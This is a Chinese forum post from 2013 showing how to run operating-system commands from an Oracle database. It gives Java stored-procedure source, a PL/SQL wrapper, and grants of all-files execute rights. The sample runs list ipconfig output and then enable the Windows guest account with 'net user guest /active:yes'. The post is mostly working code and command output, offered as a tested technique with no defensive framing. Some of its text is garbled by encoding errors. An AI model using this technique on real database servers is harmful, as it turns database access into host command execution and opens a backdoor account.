snowflakejun 发表于 2013-1-14 08:50:41

oracle执行系统命令

测试成功环境:windows XP+oracle 10g、window 2008 R2 + 11g
 
 
代码如下:
 
create or replace and compile Java Source named "OSCommand" as-- java:      OS COMMANDimport java.io.*;import java.lang.*;public class OSCommand{          public static String Run(String Command){               Runtime rt = Runtime.getRuntime();                int   rc = -1;               try{                         Process p = rt.exec( Command );                        int bufSize = 32000;                        int len = 0;                        byte buffer[] = new byte;                        String s = null;                         BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );                        len = bis.read( buffer, 0, bufSize );                         rc = p.waitFor();                         if ( len != -1 ){                              s = new String( buffer, 0, len );                              return( s );                        }                         return( rc+"" );                }               catch (Exception e){                        e.printStackTrace();                        return("-1\ncommand[" + Command + "]\n" + e.getMessage() );                }         }}/ show errors create or replace function OSexec( cCommand IN string ) return varchar2 is-- function:    OS EXEC-- descr:       PL/SQL wrapper for the Java OSCOMMAND stored proc--language      JAVAname            'OSCommand.Run(java.lang.String) return java.lang.String';/ show errors-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC-- and OSCOMMAND stored procs.declare      SCHEMAvarchar2(30) := 'SCOTT';begin      dbms_java.grant_permission(                SCHEMA,                'SYS:java.io.FilePermission',                '<<ALL FILES>>',                'execute'      );         dbms_java.grant_permission(                SCHEMA,                'SYS:java.lang.RuntimePermission',                'writeFileDescriptor',                '*'      );         dbms_java.grant_permission(                SCHEMA,                'SYS:java.lang.RuntimePermission',                'readFileDescriptor',                '*'      ); commit;end;/-- 查看本地连接信息SQL> select OSexec('ipconfig') as STDOUT from dual; STDOUT-------------------------------------------------------------------------------- Windows IP ??????????????? ????l?? 3:    l??????? DNS ??? . . . . . . . :   ????t?? IPv6 ???. . . . . . . . : *************   IPv4 ??? . . . . . . . . . . . . : 192.168.100.100   ????????. . . . . . . . . . . . : 255.255.255.0   ??????. . . . . . . . . . . . . : 0.0.0.0--激活guest账号 SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual; STDOUT--------------------------------------------------------------------------------0
页: [1]
查看完整版本: oracle执行系统命令